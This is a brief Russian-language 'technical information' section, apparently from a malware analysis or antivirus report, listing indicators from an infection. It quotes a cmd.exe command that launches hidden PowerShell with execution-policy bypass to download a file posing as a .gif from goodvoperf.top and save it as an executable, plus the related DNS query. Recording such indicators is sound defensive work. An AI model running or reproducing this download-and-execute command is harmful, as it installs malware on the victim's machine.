Техническая информация
- http://www.goodvoperf.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POwErsheLL.eXe -execUTiONPolicy BYPASs -nOpRofIlE -WiNdoWSTylE HiDDEN (new-ObjECt SYSteM.nEt.wEBcLient).DowNLOADFiLE('http://www.goodvoperf.top/read.php?f=1.gif','%ApPDAtA%.Exe');stA...
- DNS ASK go###operf.top
- '<SYSTEM32>\cmd.exe' /c "POwErsheLL.eXe -execUTiONPolicy BYPASs -nOpRofIlE -WiNdoWSTylE HiDDEN (new-ObjECt SYSteM.nEt.wEBcLient).DowNLOADFiLE('http://www.goodvoperf.top/read.php?f=1.gif','%ApPDAtA%.Exe');stA...' (со скрытым окном)